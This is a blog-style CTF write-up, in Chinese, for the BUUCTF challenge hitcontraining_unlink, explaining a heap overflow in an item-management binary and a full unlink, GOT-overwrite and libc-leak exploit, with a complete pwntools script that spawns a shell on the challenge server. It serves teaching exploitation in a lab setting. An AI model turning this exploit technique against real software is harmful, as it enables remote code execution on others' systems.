buuctf pwn hitcontraining_unlink unlink堆溢出利用

发布时间 2023-04-07 00:01:59作者: 3rdtsuki

首先file文件,是64bit ELF

nc查看逻辑,是一个增删改查的小程序
image

然后ida反编译查看main函数,各功能一目了然。注意到每次输入choice后,都要通过atoi()函数来将其转为整型,这是漏洞利用的关键之一
image

show_item函数负责遍历0~99编号的item,存在则打印其名称。这个&unk_6020c8位于bss节,是items的基址
image

add_item函数中,先输入一个长度v2,然后遍历bss中的空间(基址为0x6020c8),如果有空,则申请一块v2大小的chunk(这里所说的chunk大小不包括chunk头),将其地址写入bss。再输入一个字符串,将前v2个字节作为item名称写到chunk中。line 30的read函数返回实际读取的字节数,加上该字符串基址就是字符串的末尾,结尾置0表示字符串结束。
image

change_item函数负责给编号为v1的item改名,方法和add_item中完全一致。这也是堆溢出所在,因为我们输入的length如果超过该chunk的大小,就可以溢出到其他chunk中
image

remove_item函数将输入的编号v1对应item的堆空间free掉
image

攻击思路是

  • 构造fake_chunk,通过unlink漏洞将fake_chunk的指针指向bss-3*sizeof(size_t)
  • 然后从got表中读出atoi()的内存地址写到bss[0]处,然后将system()的地址写到got表中原来atoi()地址的位置
  • 这样一来程序一旦调用atoi(),就会根据got表调用system(),传入字符串"/bin/sh"即可。

下面参照代码进行具体解释

首先是写函数来模拟增删改查四种api,之后只能用这四个函数与程序进行交互

def show_item():
    sh.sendlineafter(b"Your choice:", b"1")


def add_item(length, name):
    sh.sendlineafter(b"Your choice:", b"2")
    sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
    sh.sendlineafter(b"Please enter the name of item:", name.encode())


def change_item(index, length, name):
    sh.sendlineafter(b"Your choice:", b"3")
    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
    sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
    sh.sendlineafter(b"Please enter the new name of the item:", name)


def remove_item(index):
    sh.sendlineafter(b"Your choice:", b"4")
    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())

申请三个chunk:fake_chunk, chunk_f以及为避免合并到top chunk而申请的other_chunk。这里要明确一件事:任何对堆的访问都要先到bss中去找chunk的地址,然后才能向chunk写入数据。此时fake_chunk的基址存储在bss[0]中,所以change_item()时会写入到fake_chunk中

add_item(0x80, "fake_chunk")  # 申请一块0x80B的内存构造fake_chunk
add_item(0x80, "f")  # chunk_f
add_item(0x10, "other")

image

下面构造fake_chunk,调用change_item()将payload写入fake_chunk中,利用堆溢出来修改f的chunk头,然后free(f)。free时的unlink(fake_chunk)操作会使得fake_chunk的指针指向bss-3*size_t,而fake_chunk的指针存在哪呢?正是bss[0],所以unlink操作导致了bss[0]里面存储的内容从fake_chunk的基址变为bss-3*size_t,这样一来之后change_item()就会将数据写入到bss[-3]处了。

bss = 0x6020c8  # bss节基址,change_item根据bss[0]来找修改的目标内存
# 构造fake_chunk[prev_size, size, fd, bk, data]
payload = p64(0) + p64(0x81) + p64(bss - 3 * 8) + p64(bss - 2 * 8) + b'a' * (0x80 - 0x20)
# 覆盖f的prev_size和size
payload += p64(0x80) + p64(0x90)
change_item(index=0, length=len(payload), name=payload)  # 利用change的堆溢出漏洞将payload写入堆中
remove_item(index=1)  # free(f)

image

下面就是漏洞利用的关键了。首先我们要知道atoi()、system()函数都在libc中定义,而它们的地址则存放于got表中,程序需要查got表找到函数地址才能去调用它,这就存在一个问题,如果我们将got表中atoi()的地址改成system()的,程序在调用atoi时就会调用system,我们需要的正是这个结果。

首先从GOT表中读取atoi()在got表中的地址atoi@got,前面加3个填充构造payload,使得在payload写入到bss[-3]处时将atoi()的got地址写入到bss[0]处,之后change_item时数据就会写入到got表中atoi的位置了

然后通过show_item()泄露atoi@got,从而计算出atoi()在内存中的地址atoi_addr,从而计算出libc的基址=atoi在内存中的地址-atoi相对libc的偏移,加上system()在libc中的偏移就可以计算出内存中system()的地址了

# 读取atoi()在got表中的地址atoi@got,写入到bss[0]处
atoi_got = elf.got['atoi']
payload = p64(0) * 3 + p64(atoi_got)
change_item(0, len(payload), payload)
# show泄露atoi()地址,打印出来
show_item()
sh.recvuntil(b"0 : ")
atoi_addr = u64(sh.recv(6).ljust(8, b"\x00"))  # 接收6个字节。填充成8字节,转为64位整数
success("atoi_addr:%x" % atoi_addr)
libc_base = atoi_addr - libc.sym["atoi"]  # 计算出libc的基址=atoi在内存中的地址-atoi相对libc的地址
success("libc_base:%x" % libc_base)

由于此时bss[0]=atoi在got中的地址,所以程序会认为此处是chunk,写入system()的内存地址。从而将GOT表中原来atoi地址的位置覆盖成system函数的内存地址,程序遇到atoi()时就会调用system()了,只需在原来输入choice时输入"/bin/sh"即可传参,大功告成!

change_item(0, 8, p64(libc_base + libc.sym["system"]))
# 发送"/bin/sh",程序会将其传给之前atoi位置的system函数,执行shell
sh.sendlineafter(b"Your choice:", b"/bin/sh")
sh.interactive()

image

image

完整代码如下,记得运行时将elf文件和libc-2.23.so文件放到目录下,2.27以上的glibc会阻碍unlink利用

from pwn import *

sh = remote("node4.buuoj.cn", 28735)
# context.log_level = 'debug'
elf = ELF('./bamboobox')  # 把elf文件放到代码目录下
libc = ELF('./libc-2.23.so')  # 把libc.so文件放到目录下


# 首先是写函数来模拟增删改查四种api,之后只能用这四个函数与程序进行交互
def show_item():
    sh.sendlineafter(b"Your choice:", b"1")


def add_item(length, name):
    sh.sendlineafter(b"Your choice:", b"2")
    sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
    sh.sendlineafter(b"Please enter the name of item:", name.encode())


def change_item(index, length, name):
    sh.sendlineafter(b"Your choice:", b"3")
    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
    sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
    sh.sendlineafter(b"Please enter the new name of the item:", name)


def remove_item(index):
    sh.sendlineafter(b"Your choice:", b"4")
    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())


if __name__ == "__main__":
    bss = 0x6020c8  # bss节基址,change_item根据bss[0]来找修改的目标内存

    add_item(0x80, "fake_chunk")  # 申请一块0x80B的内存构造fake_chunk
    add_item(0x80, "f")  # chunk_f
    add_item(0x10, "other")

    # 构造fake_chunk[prev_size, size, fd, bk, data]
    payload = p64(0) + p64(0x81) + p64(bss - 3 * 8) + p64(bss - 2 * 8) + b'a' * (0x80 - 0x20)
    # 覆盖f的prev_size和size
    payload += p64(0x80) + p64(0x90)
    change_item(index=0, length=len(payload), name=payload)  # 利用change的堆溢出漏洞将payload写入堆中
    remove_item(index=1)  # free(f),之后p(chunk0的指针)指向了bss-3*8。这样一来只要向item0写数据就等于向bss-3*8处写数据

    # 读取atoi()在got表中的地址atoi@got,写入到bss[0]处
    atoi_got = elf.got['atoi']
    payload = p64(0) * 3 + p64(atoi_got)
    change_item(0, len(payload), payload)
    # show泄露atoi()地址,打印出来
    show_item()
    sh.recvuntil(b"0 : ")
    atoi_addr = u64(sh.recv(6).ljust(8, b"\x00"))  # 接收6个字节。填充成8字节,转为64位整数
    success("atoi_addr:%x" % atoi_addr)
    libc_base = atoi_addr - libc.sym["atoi"]  # 计算出libc的基址=atoi在内存中的地址-atoi相对libc的地址
    success("libc_base:%x" % libc_base)

    # 由于此时bss[0]=atoi在got中的地址,所以程序会认为此处是chunk,写入system的地址。从而将GOT表中原来atoi地址的位置覆盖成system函数的内存地址
    change_item(0, 8, p64(libc_base + libc.sym["system"]))
    # 发送"/bin/sh",程序会将其传给之前atoi位置的system函数,执行shell
    sh.sendlineafter(b"Your choice:", b"/bin/sh")
    sh.interactive()